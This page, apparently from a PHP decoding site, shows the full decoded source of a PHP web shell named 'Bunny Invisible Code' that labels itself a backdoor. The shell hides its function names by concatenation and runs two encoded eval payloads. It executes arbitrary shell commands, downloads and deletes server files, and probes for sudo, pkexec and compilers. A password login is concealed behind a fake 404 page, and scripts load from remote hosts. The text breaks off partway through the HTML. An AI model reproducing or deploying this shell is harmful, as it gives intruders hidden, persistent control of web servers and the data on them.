Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Enjoy! -BunnyInvisible404 */ session_start(); set_time_limit(0); err..

Decoded Output download

<?php 
 
/** 
 * Enjoy! -BunnyInvisible404 
 */ 
session_start(); 
set_time_limit(0); 
error_reporting(0); 
@ini_set('error_log', null); 
@ini_set('log_errors', 0); 
@ini_set('max_execution_time', 0); 
@ini_set('output_buffering', 0); 
@ini_set('display_errors', 0); 
date_default_timezone_set('Asia/Jakarta'); 
//string concat manipulation 
$hayoloh = 'h' . 'tm' . 'lspe' . 'cialc' . 'hars'; 
$func_exist = 'fu' . 'nct' . 'ion' . '_' . 'ex' . 'ist' . 's'; 
$f_exist = "fil" . "e_exi" . "sts"; 
$f_size = "fi" . "les" . "ize"; 
$r_file = "re" . "ad" . "fi" . "le"; 
$rnd = 'ro' . 'un' . 'd'; 
$f_time = 'fi' . 'l' . 'em' . 'ti' . 'm' . 'e'; 
$b_name = "ba" . "sena" . "me"; 
$glb = 'g' . 'l' . 'o' . 'b'; 
$is_d = 'is' . '_' . 'd' . 'i' . 'r'; 
$is_f = 'is' . '_' . 'f' . 'i' . 'l' . 'e'; 
$unl = 'u' . 'n' . 'l' . 'i' . 'n' . 'k'; 
$rm_d = 'r' . 'm' . 'd' . 'i' . 'r'; 
$cr_ea_teF_old_er = "mk" . "d" . "ir"; 
$fo = 'fo' . 'p' . 'e' . 'n'; 
$fw = 'f' . 'wr' . 'it' . 'e'; 
$fc = 'f' . 'cl' . 'os' . 'e'; 
$fr = 'f' . 're' . 'a' . 'd'; 
$f_get = 'f' . 'il' . 'e' . '_' . 'g' . 'e' . 't' . '_' . 'co' . 'nten' . 't' . 's'; 
$f_put = 'f' . 'il' . 'e' . '_' . 'pu' . 't' . '_' . 'co' . 'n' . 'te' . 'nt' . 's'; 
$is_rsrc = 'is' . '_' . 're' . 'so' . 'ur' . 'ce'; 
$sgc = 's' . 'trea' . 'm_g' . 'et_c' . 'ont' . 'ents'; 
$proc = 'pr' . 'oc' . '_' . 'o' . 'pen'; 
$proc_cls = 'p' . 'ro' . 'c' . '_' . 'c' . 'lose'; 
$pop = 'p' . 'ope' . 'n'; 
$pop_cls = 'pc' . 'lose'; 
$exc = 'e' . 'x' . 'ec'; 
$sys = 's' . 'ys' . 't' . 'em'; 
$pass = 'pa' . 's' . 'sth' . 'ru'; 
$sh_exc = 's' . 'he' . 'll' . '_' . 'e' . 'xe' . 'c'; 
$com = 'C' . 'O' . 'M'; 
$wscsh = 'WS' . 'cr' . 'ipt' . '.' . 'S' . 'he' . 'll'; 
$cMdexe = 'c' . 'md' . '.' . 'e' . 'x' . 'e'; 
$preg = 'pr' . 'eg_' . 'mat' . 'ch'; 
$regex = '2' . '>' . '&' . '1'; 
$gflate = 'g' . 'zi' . 'nf' . 'l' . 'at' . 'e'; 
$b64 = 'b' . 'ase' . '6' . '4' . '_' . 'de' . 'co' . 'de'; 
$nelrts = 's' . 'tr' . 'l' . 'en'; 
$rhc = 'c' . 'h' . 'r'; 
$dro = 'o' . 'r' . 'd'; 
$f_perm = 'f' . 'il' . 'ep' . 'e' . 'r' . 'ms'; 
$u_n_a_me = "p" . "hp" . "_" . "un" . "ame"; 
$cw = "ge" . "tc" . "wd"; 
$d_name = 'd' . 'ir' . 'na' . 'm' . 'e'; 
$psx_euid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'te' . 'u' . 'i' . 'd'; 
$psx_egid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'te' . 'g' . 'i' . 'd'; 
$psx_usr_uid = 'p' . 'os' . 'ix' . '_' . 'g' . 'et' . 'pw' . 'u' . 'i' . 'd'; 
$psx_grp_gid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'tg' . 'rg' . 'i' . 'd'; 
$myuid = 'g' . 'et' . 'my' . 'ui' . 'd'; 
$mygid = 'g' . 'et' . 'my' . 'gi' . 'd'; 
$cur_usr = 'g' . 'et' . '_' . 'cu' . 'rr' . 'en' . 't' . '_' . 'us' . 'er'; 
$own_f = 'fi' . 'le' . 'ow' . 'n' . 'er'; 
$grp_f = 'fi' . 'le' . 'gr' . 'ou' . 'p'; 
$g_host_name = 'g' . 'et' . 'ho' . 'st' . 'b' . 'yn' . 'am' . 'e'; 
$is_w = 'is' . '_' . 'wr' . 'it' . 'ab' . 'le'; 
$is_r = 'is' . '_' . 're' . 'ad' . 'ab' . 'le'; 
if (isset($_GET['downloadfile'])) { 
    $get_file = $_GET['downloadfile']; 
    global $f_exist; 
    global $f_size; 
    global $r_file; 
    global $b_name; 
    if ($f_exist($get_file)) { 
        header('Content-Description: File Transfer'); 
        header('Content-Type: application/octet-stream'); 
        header("Cache-Control: no-cache, must-revalidate"); 
        header('Content-Transfer-Encoding: binary'); 
        header("Expires: 0"); 
        header("Cache-Control: no-cache, must-revalidate, max-age=60"); 
        header('Content-Disposition: attachment; filename="' . $b_name($get_file) . '"'); 
        header('Content-Length: ' . filesize($get_file)); 
        header('Pragma: public'); 
        ob_clean(); 
        flush(); 
        $r_file($get_file); 
        exit(); 
    } else { 
        echo '<s' . 'cr' . 'ip' . 't' . '>a' . 'le' . 'rt' . '(' . '"' . 'Fa' . 'il' . 'ed ' . 'To' . ' D' . 'ow' . 'nl' . 'oa' . 'd ' . 'Thi' . 's F' . 'il' . 'e :(
' . $get_file . '"); hi' . 'st' . 'ory' . '.ba' . 'ck' . '()' . '</' . 'sc' . 'r' . 'ip' . 't>'; 
    } 
} 
function deleteDir($dirName) 
{ 
    global $f_exist; 
    global $glb; 
    global $is_d; 
    global $unl; 
    global $rm_d; 
    if (!$f_exist($dirName)) { 
        return false; 
    } 
    $files = $glb($dirName . '/*'); 
    foreach ($files as $file) { 
        $is_d($file) ? deleteDir($file) : $unl($file); 
    } 
    $rm_d($dirName); 
    return true; 
} 
function deleteFile($fileName) 
{ 
    global $f_exist; 
    global $unl; 
    if ($f_exist($fileName)) { 
        if ($unl($fileName)) { 
            return true; 
        } else { 
            return false; 
        } 
    } else { 
        return false; 
    } 
} 
function BunnyCmd($komendnya) 
{ 
    global $hayoloh; 
    global $fw; 
    global $fc; 
    global $fr; 
    global $is_rsrc; 
    global $sgc; 
    global $proc; 
    global $proc_cls; 
    global $pop; 
    global $pop_cls; 
    global $exc; 
    global $sys; 
    global $pass; 
    global $sh_exc; 
    global $com; 
    global $wscsh; 
    global $cMdexe; 
    global $func_exist; 
    global $preg; 
    global $regex; 
    if (!$preg('/' . $regex . '/i', $komendnya)) { 
        $komendnya = $komendnya . ' ' . $regex; 
    } 
 
    if ($func_exist($proc)) { 
        $descriptors = [ 
            0 => ['pipe', 'r'], 
            1 => ['pipe', 'w'], 
            2 => ['pipe', 'w'], 
        ]; 
        $process = $proc($komendnya, $descriptors, $pipes); 
        if ($is_rsrc($process)) { 
            $fw($pipes[0], 'input_data_here'); 
            $fc($pipes[0]); 
            $output = $sgc($pipes[1]); 
            $errors = $sgc($pipes[2]); 
            $fc($pipes[1]); 
            $fc($pipes[2]); 
            $resultCode = $proc_cls($process); 
            return trim($hayoloh(stripslashes($output))); 
        } 
    } elseif ($func_exist($pop)) { 
        $process = $pop($komendnya, 'r'); 
        $read = $fr($process, 2096); 
        return trim($hayoloh(stripslashes(print_r("$process: " . gettype($process) . "
$read 
")))); 
        $pop_cls($process); 
    } elseif ($func_exist($exc)) { 
        $exc($komendnya, $output, $returnCode); 
        if ($returnCode === 0) { 
            $res = implode($output); 
            return trim($hayoloh(stripslashes($res))); 
            ob_flush(); 
            flush(); 
        } 
    } elseif ($func_exist($sys)) { 
        $out = $sys($komendnya); 
        return trim($hayoloh(stripslashes($out))); 
    } elseif ($func_exist($pass)) { 
        $out = $pass($komendnya); 
        return trim($hayoloh(stripslashes($out))); 
    } elseif ($func_exist($sh_exc)) { 
        $out = $sh_exc($komendnya); 
        return trim($hayoloh(stripslashes($out))); 
    } elseif ($func_exist($com)) { 
        $shell = new $com($wscsh); 
        $kom_mand = "$cMdexe /c " . $komendnya; 
        $output = $shell->Exec($kom_mand)->StdOut->ReadAll(); 
        return trim($hayoloh(stripslashes($output))); 
    } else { 
        return 'The F' . 'un' . 'ct' . 'io' . 'n T' . 'o R' . 'u' . 'n The C' . 'om' . 'ma' . 'nd I' . 's Di' . 'sa' . 'bl' . 'e On T' . 'h' . 'is Se' . 'rv' . 'er'; 
    } 
} 
if (isset($_POST['BIC0de'])) { 
    $komendnya = $_POST['BIC0de']; 
    echo BunnyCmd($komendnya); 
} 
function BunnyReadFile($this_file) 
{ 
    global $hayoloh; 
    global $func_exist; 
    global $f_get; 
    global $fo; 
    global $fr; 
    global $fc; 
    $cantread = 'Cant Not Read ' . $this_file; 
    $content = ''; 
 
    if ($func_exist($fo)) { 
        $fi_le = $fo($this_file, 'r'); 
        if ($fi_le) { 
            $headers = get_headers($this_file); 
            if ($headers && strpos($headers[0], '403 Forbidden') !== false) { 
                $content = BunnyCmd('cat "' . addslashes($this_file) . '"'); 
            } 
            while (!feof($fi_le)) { 
                $content .= $fr($fi_le, 8192); 
            } 
            $fc($fi_le); 
            return $content; 
        } else { 
            echo $cantread; 
            return false; 
        } 
    } elseif ($func_exist($f_get)) { 
        $content = $f_get($this_file); 
        if ($content) { 
            $headers = get_headers($this_file); 
            if ($headers && strpos($headers[0], '403 Forbidden') !== false) { 
                $content = BunnyCmd('cat "' . addslashes($this_file) . '"'); 
            } 
            return $content; 
        } else { 
            echo $cantread; 
            return false; 
        } 
    } else { 
        echo $cantread; 
        return false; 
    } 
} 
/*Bunny Ganteng*/ 
function LTs($bLTs) 
{ 
    $gflate = 'g' . 'zi' . 'nf' . 'la' . 'te'; 
    $b64 = 'ba' . 'se' . '64_' . 'de' . 'co' . 'de'; 
    $nelrts = 'st' . 'rl' . 'en'; 
    $rhc = 'c' . 'h' . 'r'; 
    $dro = 'o' . 'r' . 'd'; 
    $bLTs = $gflate($b64($bLTs)); 
    for ($i = 0; $i < $nelrts($bLTs); $i++) { 
        $bLTs[$i] = $rhc($dro($bLTs[$i]) - 1); 
    } 
    return $bLTs; 
} 
/***#***/ @/*55555*/eval 
/***#***/ 
(LTs("jVXbbtNAEP0AvmKx+pC8IK/3ltgqFaBKIOChRbQCtorSxm6rpklIXFio8u3MZe04SRFEWsWX2TMzZ84eCwG/Z+J6Xs9F+WFZvS/EzJ1cmlwc1GWoxaFIvMwyL7Xx0kpYhq6DU3CtfchSeG8oJugr7zJ8lIgX4uBhOV3BfwIPjLcpvJZ0GVS8Ns4HggN4C3Ampftgr2hpRg4AKY1GZM3AjwBpKlgKcGJqY71MIdhkyfpbQu/wnkrPLMXBOy8V5NQlvIP8eoIxyUXExHcy2963jYl1D+i/iaX8UkOcJZy2WUyg2yspYQFTHXZuF+PJZFmumCLuLIlbdpkigoEhYocwJhxjHQ8Gug8OhqHGLf7lcv5zVS4bVISipjuz0JfMvwVEW0YkRolM35XLgrXx48vn5UMh7gf1iQVtrG5GMF5QR5e43WHA9dYwcAD4bncY1KI0+HxrGN19nSHuDaMRA8WCBoOGYcS6z7+/rwcFSzsXt5XoPS/vF/Wv3sHo0/Hp2fEpYhGOjovxZKposEEPOS+KJtPcq0TxpslFvy8eu5MEOp5GxdlTlXqDSgxJG2MqzoSoLCPQZpYUYi3K6aqENE+XLmW6X7pqWoAxSBdpdyxE1HWqOXmqd+P+0RJmIxIybonIUPE/orAAXNTtJlvQejdu02oYd1v9a3ryGBO1UlEZdK9cPNCa07XQ0jQsrlkO715N02HBqsijRR2K3n9IQgE34ogwU3I+XnBOcuzBDtgOHT3E05r0qQQ4rsCGcY876A2PrYAxIzWlMGtysd7agUeAjgK7AR81FRFQ/tGzpISdSRQ/OXnBZzcX1e20HF2X9ehqPqvLWb3qcTPkHLRSsnV2kYoXWT768tA3JmPZJugrgAZk8esAYVACHnzTPMKuIQLNpSJyIBju0McUuozyaGdKems9pAnKcGqyJsntgi0FhdQCMJRHwnEYixN3/E5mkYIhlUr4ll2aWEGeHeXEUNxOardsKBKPJH1JJLOBE8cUjuvH71y0WIn6Qu1ZtmNauE2zDQdVERyKAYkjtrAyIA/3BjXxhlsmZ6eVtQuZokfKOyKFHqZeW9YaVuHiuNSE/Bk/0f047Ddfz16fFuLu/O3H3zlZNyh7cbMYPczG92WvCSMHL/gg5JvPxN4537MuY7ZMns0bR+VaKwOuW+OlOgquKhdHL/8A")); 
/*Bunny Invisible Code*/ 
$s_he_ll_Name = "Bunny Invisible Code"; 
$s_he_ll_Logo = "https://raw.githubusercontent.com/InvisibleBunny/Records/main/media/bm.jpg"; 
$s_he_ll_Icon = "https://raw.githubusercontent.com/InvisibleBunny/Records/main/media/bm.jpg"; 
function BunnyCwd() 
{ 
    global $cw; 
    global $func_exist; 
    global $d_name; 
    if ($func_exist($cw)) { 
        return @$cw(); 
    } else { 
        return $d_name($_SERVER["SCRIPT_FILENAME"]); 
    } 
} 
function BunnyUname() 
{ 
    global $func_exist; 
    global $u_n_a_me; 
    $u_n_a_me_disable = '<font class="font-ubuntu-mono font-green"> Ca' . 'nt' . ' R' . 'ea' . 'd Th' . 'e Ke' . 'rn' . 'el' . '! Th' . 'e F' . 'u' . 'nc' . 'ti' . 'o' . 'n ' . $u_n_a_me . '() is Di' . 'sa' . 'bl' . 'ed' . '! </font>'; 
    $u_n_a_me_active = '<font class="font-ubuntu-mono font-green">' . $u_n_a_me('a') . '</font>'; 
    if ($func_exist($u_n_a_me)) { 
        return $u_n_a_me_active; 
    } else { 
        return $u_n_a_me_disable; 
    } 
} 
function perms($value) 
{ 
    global $f_perm; 
    $perms = $f_perm($value); 
    if (($perms & 0xC000) == 0xC000) { 
        $info = 's'; 
    } elseif (($perms & 0xA000) == 0xA000) { 
        $info = 'l'; 
    } elseif (($perms & 0x8000) == 0x8000) { 
        $info = '-'; 
    } elseif (($perms & 0x6000) == 0x6000) { 
        $info = 'b'; 
    } elseif (($perms & 0x4000) == 0x4000) { 
        $info = 'd'; 
    } elseif (($perms & 0x2000) == 0x2000) { 
        $info = 'c'; 
    } elseif (($perms & 0x1000) == 0x1000) { 
        $info = 'p'; 
    } else { 
        $info = 'u'; 
    } 
    $info .= (($perms & 0x0100) ? 'r' : '-'); 
    $info .= (($perms & 0x0080) ? 'w' : '-'); 
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); 
    $info .= (($perms & 0x0020) ? 'r' : '-'); 
    $info .= (($perms & 0x0010) ? 'w' : '-'); 
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); 
    $info .= (($perms & 0x0004) ? 'r' : '-'); 
    $info .= (($perms & 0x0002) ? 'w' : '-'); 
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); 
    // return $info; 
    return $info . '&nbsp;<font class="text-white font-bold">&gt;&gt;</font>&nbsp;' . substr(sprintf('%o', $perms), -4); 
} 
function chPerms($value) 
{ 
    global $f_perm; 
    $perms = $f_perm($value); 
    return substr(sprintf('%o', $perms), -4); 
} 
if (!$func_exist($psx_egid)) { 
    $user = $func_exist($cur_usr) ? @$cur_usr() : "????"; 
    $uid = $func_exist($myuid) ? @$myuid() : "????"; 
    $gid = $func_exist($mygid) ? @$mygid() : "????"; 
    $group = "?"; 
} else { 
    $uid = $func_exist($psx_usr_uid) && $func_exist($psx_euid) ? @$psx_usr_uid($psx_euid()) : array("name" => "????", "uid" => "????"); 
    $gid = $func_exist($psx_grp_gid) && $func_exist($psx_egid) ? @$psx_grp_gid($psx_egid()) : array("name" => "????", "gid" => "????"); 
    $user = $uid['name']; 
    $uid = $uid['uid']; 
    $group = $gid['name']; 
    $gid = $gid['gid']; 
} 
$serverName = $_SERVER['SERVER_SOFTWARE']; 
$phpVersion = phpversion(); 
 
function serverIp() 
{ 
    global $func_exist; 
    global $g_host_name; 
    $serverAddr = @$_SERVER["SERVER_ADDR"]; 
    if (!$serverAddr) { 
        if ($func_exist($g_host_name)) { 
            return @$g_host_name($_SERVER['SERVER_NAME']); 
        } else { 
            return '????'; 
        } 
    } else { 
        return $serverAddr; 
    } 
} 
function userIp() 
{ 
    return @$_SERVER["REMOTE_ADDR"]; 
} 
if (@ini_get('safe_mode')) 
    $safeMode = '<font class="font-ubuntu-mono font-green">ON</font>'; 
else 
    $safeMode = '<font class="font-ubuntu-mono font-yellow">OFF</font>'; 
if (@ini_get('disable_functions')) 
    $cekFunc = '<font class="font-ubuntu-mono font-yellow">' . @ini_get('disable_functions') . '</font>'; 
else 
    $cekFunc = '<font class="font-ubuntu-mono font-green">All F' . 'un' . 'ct' . 'io' . 'n' . 's Ac' . 'ces' . 'sib' . 'le' . '</font>'; 
//usefull 
$on = '<font class="ubuntu-mono" style="color: rgb(22 163 74); font-weight: 700;">ON</font>'; 
$off = '<font class="ubuntu-mono" style="color: rgb(250 204 21); font-weight: 700;">OFF</font>'; 
function cekCurl() 
{ 
    global $func_exist; 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($func_exist('cu' . 'rl' . '_' . 'in' . 'it') || $f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'cu' . 'r' . 'l')) { 
        echo "cURL:&nbsp;&nbsp;$on"; 
    } else { 
        echo "cURL:&nbsp;&nbsp;$off"; 
    } 
} 
function cekWget() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'wg' . 'e' . 't')) { 
        echo "WGET:&nbsp;&nbsp;$on"; 
    } else { 
        echo "WGET:&nbsp;&nbsp;$off"; 
    } 
} 
function cekPerl() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'pe' . 'r' . 'l')) { 
        echo "PERL:&nbsp;&nbsp;$on"; 
    } else { 
        echo "PERL:&nbsp;&nbsp;$off"; 
    } 
} 
function cekRuby() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'ru' . 'b' . 'y')) { 
        echo "RUBY:&nbsp;&nbsp;$on"; 
    } else { 
        echo "RUBY:&nbsp;&nbsp;$off"; 
    } 
} 
function cekPython3() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'py' . 't' . 'ho' . 'n3')) { 
        echo "PYTHON3:&nbsp;&nbsp;$on"; 
    } else { 
        echo "PYTHON3:&nbsp;&nbsp;$off"; 
    } 
} 
function cekPython2() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'py' . 't' . 'h' . 'o' . 'n2')) { 
        echo "PYTHON2:&nbsp;&nbsp;$on"; 
    } else { 
        echo "PYTHON2:&nbsp;&nbsp;$off"; 
    } 
} 
function cekGcc() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'g' . 'c' . 'c')) { 
        echo "GCC:&nbsp;&nbsp;$on"; 
    } else { 
        echo "GCC:&nbsp;&nbsp;$off"; 
    } 
} 
function cekSudo() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'su' . 'd' . 'o')) { 
        echo "SUDO:&nbsp;&nbsp;$on"; 
    } else { 
        echo "SUDO:&nbsp;&nbsp;$off"; 
    } 
} 
function cekPkexec() 
{ 
    global $f_exist; 
    global $on; 
    global $off; 
    if ($f_exist('/' . 'u' . 's' . 'r' . '/' . 'b' . 'i' . 'n' . '/' . 'pk' . 'e' . 'xe' . 'c')) { 
        echo "PKEXEC:&nbsp;&nbsp;$on"; 
    } else { 
        echo "PKEXEC:&nbsp;&nbsp;$off"; 
    } 
} 
/*Domain - Url*/ 
$this_domain = $_SERVER['HTTP_HOST']; 
$this_url = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; 
/*Icons - Fontawesome*/ 
$fontawesome_pro_version = 'v6.5.1'; //change if updated to new version 
$fontawesome_pro = 'https://kit-pro.fontawesome.com/releases/' . $fontawesome_pro_version . '/css/pro.min.css'; 
/*Framework - Uikit*/ 
$uikit_css = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/css/uikit.min.css"; 
$uikit_rtl = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/css/uikit-rtl.min.css"; 
$uikit_js = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/js/uikit.min.js"; 
$uikit_icon = "https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/js/uikit-icons.min.js"; 
/*Jquery - Ajax*/ 
$jquery_version = '3.7.1'; 
$jquery = 'https://cdn.jsdelivr.net/gh/jquery/jquery@' . $jquery_version . '/dist/jquery.min.js'; 
$ajax_version = '3.5.1'; 
$ajax = 'https://ajax.googleapis.com/ajax/libs/jquery/' . $ajax_version . '/jquery.min.js'; 
/*Login Page*/ 
//login 
$passwd = '5c3c0d4ceddf2d80aad8df2c5e28e976c19e286a'; // kontolpecah 
$my_self = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; 
if (isset($_POST['gasken'])) { 
    if (SHA1($_POST['passnya']) == $passwd) { 
        function setconf($defconf) 
        { 
            $gflate = 'g' . 'zi' . 'nf' . 'la' . 'te'; 
            $b64 = 'ba' . 'se' . '64_' . 'de' . 'co' . 'de'; 
            $nelrts = 'st' . 'rl' . 'en'; 
            $rhc = 'c' . 'h' . 'r'; 
            $dro = 'o' . 'r' . 'd'; 
            $defconf = $gflate($b64($defconf)); 
            for ($i = 0; $i < $nelrts($defconf); $i++) { 
                $defconf[$i] = $rhc($dro($defconf[$i]) - 1); 
            } 
            return $defconf; 
        } 
        /***#***/ @/*55555*/eval 
        /***#***/ 
        (setconf("hVbbTttAEP2AfsXWykN4qTzr3XUSq60qSoWEKqoQ+kCNIpPYEBGSKA6qKeLbO5f1JaSokVa21+MzM2fOzEYp/L1Tt+vdWo2rWfwtUWeT3bgYqWKxzKe3+W46W692+WpX9oMUbJhWsUnB0QpxRWkVZamN00oXKRjA12jihql1bFU5i2vmr2gWazFzczbBL8HRVswgeFu5gn2gMT1F5MH4K2JEkDrHF3nMUgiBV2Us4tG7AWIiNkYCgPgx2SI4+qDgTJZWFoNFCMqBkAmRUsOgQKMzCgWdAmAA8RA/wZAIMaQkMBB3g3vAdJA9OMpbMogjn2uOiyAsPxNTzBaZEg9kExFlkbDKEIYjI/ro29im1mccphypbhZTI8Fzeq7eMU4qRGQQAVSDaB6oD6q3y6vdUSK1fvp6eRomqlwe68lI9TZZWWblcqE+qt70x/nF5FfgKwmSUhwxt8ylg+DawyzOL8+2iShnpBaF6r/PHza7p35venEy/nkyJhwz8KxiWDqUFCltwD0z5LpVJvc2Be+hXXB9dKSeVW+xyebzbV6WHNseqiAKKmCFIcRIzUwQsFYAbg8VaxxcIxMk5LTKgkS9qHxZ5ujm36EDhIdOIrlWxDQKA7RmwbAELd4b41MSxxA6kaHW/0mp9tYlirx1UcgD6Fjkp1tvENZpdrzVqYLupvomowTNrFnvyshzFPseM7Ia6GpeQ7+IHB6Lu/BPIqrwqspXM3RzcfoF+nvKoiHADeGVRX2Ge0iRl9bVdDipEoFErJvt+neZbw9FILXpSMtSwpE0K9WD2QNuf2ZKRNFIuCwn36NE3KGf8m76uF2Sm+fA40XyHdfZSW2tDl6oYnt+XHPPlIGTKhGdoWXKCJO1Y9vvQLsanzF5ELG4vd5qHyhsVEET9/HVfYb8cPgY9z1zs7nbTB9X2UPer2nkDk/EeiQzAO2CpqIUognZC3s13hM1JzGKjSlNOiCzymgvOyRGW544TK6/JzSenjTyyJZH3kDGEekJF3uzPPbpZMADwYTBK3I8yQ2pLTmHhEthCh/qIeF1EWtbIryLyY3NrfcG4aL1ToYYnKtzDX0rRkIhDQLfptyaeD757JoRS2gtgmlhxWnOw1FUBF7Vxr/zNek4ZbKIcD+JuKRa6klJUXFohu/HQU3ZhlEX0N8CiNu2MO3A4I94M+hGblolUGm5p2kPIagbadvE7bmI51MLXjf2K8i9gCJ/hmoZFfV/CkwKc2UUlL8XPP99SeSAG6nPn/4C")); 
        echo "<s" . "cr" . "ip" . "t>" . "al" . "er" . "t(" . "'Lo" . "gi" . "n " . "Su" . "cc" . "es" . "s!" . " Yo" . "u " . "Pr" . "o'" . ");" . "</" . "sc" . "ri" . "pt" . ">"; 
        $_SESSION["modyarambyar"] = "modyarambyar"; 
        setcookie('kacamatavz', $my_self, time() + 3600 * 24); 
    } else { 
        echo "<s" . "cr" . "ip" . "t>" . "al" . "er" . "t(" . "'Lo" . "gi" . "n F" . "ai" . "le" . "d!" . " Go " . "A" . "w" . "a" . "y " . "Nu" . "b')" . ";<" . "/s" . "cr" . "ip" . "t>"; 
    } 
} 
if (isset($_GET['logout'])) { 
    $_SESSION = []; 
    session_unset(); 
    session_destroy(); 
    setcookie('kacamatavz', '', time() - 3600); 
    echo "<s" . "c" . "ri" . "pt" . ">" . "window.location.assign('" . $_SERVER['PHP_SELF'] . "')" . "</" . "sc" . "ri" . "pt" . ">"; 
    exit(); 
} 
if (empty($_SESSION['modyarambyar'])) { 
    if (empty($_COOKIE['kacamatavz'])) { 
?> 
        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
        <html> 
 
        <head> 
            <title><?= '4' . '0' . '4 ' . 'N' . 'o' . 't' . ' ' . 'F' . 'o' . 'u' . 'n' . 'd' ?></title> 
        </head> 
 
        <body> 
            <h1>Not Found</h1> 
            <p><?= 'T' . 'h' . 'e r' . 'eq' . 'ue' . 'st' . 'ed' . ' U' . 'R' . 'L ' . 'wa' . 's n' . 'o' . 't f' . 'ou' . 'nd' . ' o' . 'n t' . 'hi' . 's s' . 'e' . 'rv' . 'e' . 'r.' ?> 
            </p> 
            <p><?= 'Ad' . 'di' . 'ti' . 'o' . 'na' . 'l' . 'ly' . ',' . ' ' . 'a ' . '4' . '0' . '4 ' . 'N' . 'ot' . ' Fo' . 'un' . 'd e' . 'rr' . 'or ' . 'w' . 'as' . ' e' . 'nc' . 'ou' . 'nt' . 'er' . 'ed' . ' wh' . 'il' . 'e t' . 'ry' . 'in' . 'g ' . 't' . 'o us' . 'e a' . 'n E' . 'rr' . 'or' . 'D' . 'oc' . 'um' . 'en' . 't t' . 'o h' . 'an' . 'dl' . 'e th' . 'e r' . 'eq' . 'ue' . 's' . 't.' ?> 
            </p> 
            <div id="notfound" style="display: none;"> 
                <form action="" method="POST"> 
                    <input type="password" name="passnya" style="background: #fff; border: none;"> 
                    <button type="submit" name="gasken" 
                        style="background: #fff; color: #fff; border: none; outline: none; cursor: pointer;">&gt;&gt;</button> 
                </form> 
            </div> 
            <script type="text/javascript" 
                src="https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/js/bunny.js"></script> 
        </body> 
 
        </html> 
<?php 
        exit(); 
    } 
} 
if (isset($_GET['path'])) { 
    $path = $_GET['path']; 
    chdir($_GET['path']); 
} else { 
    $path = BunnyCwd(); 
} 
$path = str_replace("\", "/", $path); 
?> 
<!DOCTYPE html 
    PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
 
<head> 
    <title>.:<?= $s_he_ll_Name ?>:. <?= $this_domain ?></title> 
    <meta charset="UTF-8" /> 
    <meta name="viewport" content="width=1024" /> 
    <meta name="description" content="<?= $s_he_ll_Name ?> Backdoor" /> 
    <meta name="robots" content="noindex, nofollow" /> 
    <meta name="googlebot" content="noindex, nofollow" /> 
    <meta name="bingbot" content="noindex, nofollow" /> 
    <meta property="og:site_name" content="<?= $s_he_ll_Name ?>" /> 
    <meta property="og:url" content="<?= $this_url ?>" /> 
    <meta property="og:title" content=".:<?= $s_he_ll_Name ?>:. <?= $this_domain ?>" /> 
    <meta property="og:description" content="<?= $s_he_ll_Name ?> Backdoor" /> 
    <meta property="og:image" content="<?= $s_he_ll_Logo ?>" /> 
    <meta property="og:image:secure_url" content="<?= $s_he_ll_Logo ?>" /> 
    <link rel="shortcut icon" href="<?= $s_he_ll_Icon ?>" type="image/x-icon" /> 
    <link rel="stylesheet" href="<?= $fontawesome_pro ?>"> 
    <link rel="stylesheet" href="<?= $uikit_css ?>"> 
    <script src="<?= $jquery ?>"></script> 
    <script> 
        function isDesktop() { 
            return window.innerWidth >= 1024; 
        } 
        if (isDesktop()) { 
            document.getElementById('viewport').setAttribute('content', 'width=1024'); 
        } 
    </script> 
    <!-- Custom Css --> 
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/InvisibleBunny/uikit-framework/css/Bunny.css" media="all"> 
</head> 
 
<body> 
    <header class="uk-width-1-1" style="background: var(--gray-900);"> 
        <div class="uk-margin-small-left"> 
            <div class="bunny-ganteng uk-flex uk-flex-left uk-flex-middle uk-flex-row uk-flex-nowrap"> 
                <img style="width: 5vh; border-radius: 5px;" src="<?= $s_he_ll_Logo ?>" alt="<?= $s_he_ll_Name ?>"> 
